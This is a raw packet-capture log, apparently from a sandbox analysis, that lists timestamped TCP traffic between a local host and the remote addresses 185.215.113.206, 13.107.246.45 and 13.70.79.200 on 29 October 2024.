Oct 29, 2024 17:59:47.143876076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143882036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143912077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143917084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143945932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143953085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143981934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143984079 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144016027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144021988 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144052982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144062996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144087076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144098043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144121885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144133091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144155979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144169092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144201040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.144272089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.144318104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.149996042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150029898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150048971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150067091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150078058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150103092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150108099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150142908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150553942 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150587082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150602102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150635004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150639057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150672913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150707006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150713921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150742054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.150748014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.150788069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151190996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151237011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151243925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151295900 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151357889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151442051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151480913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151494980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151501894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151529074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151541948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151565075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151575089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151599884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151609898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151635885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.151638985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.151683092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152055979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152107000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152205944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152241945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152261972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152292967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152293921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152328014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152339935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152363062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152367115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152398109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152410030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152431965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.152441978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.152477980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153172016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153224945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153268099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153301954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153316975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153347015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153352976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153388023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153399944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153423071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153435946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153459072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.153467894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.153548956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154263973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154315948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154350042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154350996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154361963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154383898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154398918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154429913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154433012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154467106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154479980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154503107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.154510975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.154548883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155242920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155277967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155299902 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155329943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155344963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155368090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155384064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155417919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155427933 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155452967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155488014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.155498981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.155577898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.156285048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.156436920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187062025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187087059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187103033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187114000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187141895 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187416077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187474012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187539101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187563896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187566042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187580109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187596083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.187597990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187617064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.187640905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.188076019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.188184977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.188189983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.188206911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.188230038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.188241005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.188249111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.188266039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.188306093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.227432966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.227489948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.227505922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.227508068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.227547884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.227547884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254559040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254574060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254589081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254621983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254656076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254663944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254724026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254734993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254760981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254776955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254797935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254897118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.254939079 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.254962921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255027056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255233049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255276918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255284071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255292892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255320072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255327940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255460024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255501986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255516052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255533934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255548954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255728006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255753994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255769968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255778074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255803108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.255831003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255846024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.255884886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.304452896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304478884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304492950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304532051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.304567099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.304883957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304908037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304924965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304934978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.304940939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.304966927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.304992914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305048943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305064917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305078983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305102110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305116892 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305282116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305325031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305339098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305341005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305358887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.305362940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305388927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.305402040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.308701992 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.311090946 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.311115026 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.311585903 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.311593056 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.314846039 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.315551996 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.315574884 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.316140890 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.316148043 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.345057011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.345134974 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.345145941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.345273018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.345295906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.345320940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.357894897 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.358287096 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.358324051 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.358685017 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.358696938 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.376394987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376420975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376436949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376460075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376475096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376477957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376491070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376508951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376522064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376540899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376564026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376849890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376893044 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376944065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376960039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376975060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.376987934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.376991987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.377012014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.377022028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.377027035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.377053976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.377070904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.377778053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.377826929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.385581970 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.385936975 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.385976076 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.386333942 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.386341095 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.391026020 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.391309977 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.391335964 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.391778946 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.391788006 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.423131943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.423186064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424051046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424067020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424082041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424098969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424114943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424115896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424132109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424149036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424154997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424164057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424170017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424180984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424196959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424202919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424212933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424222946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424231052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.424252033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.424273968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.440246105 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.441545010 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.441600084 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.441636086 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.441658020 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.441665888 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.441673040 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.444343090 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.444377899 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.444451094 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.444606066 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.444616079 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.447379112 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.447406054 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.447448969 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.447490931 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.447525024 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.447630882 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.447652102 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.447659969 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.447666883 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.449811935 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.449842930 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.450083017 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.450213909 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.450228930 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.456660032 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.456896067 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.456907988 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.458352089 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.458422899 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.458791018 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.458868027 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.458987951 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.458995104 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.459017038 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.459033012 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.464098930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.464112997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.464128017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.464150906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.464195013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.493697882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.493725061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.493740082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.493753910 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.493756056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.493767977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.493791103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.493984938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494000912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494025946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494030952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494043112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494052887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494059086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494067907 CET	49958	80	192.168.2.6	185.215.113.206
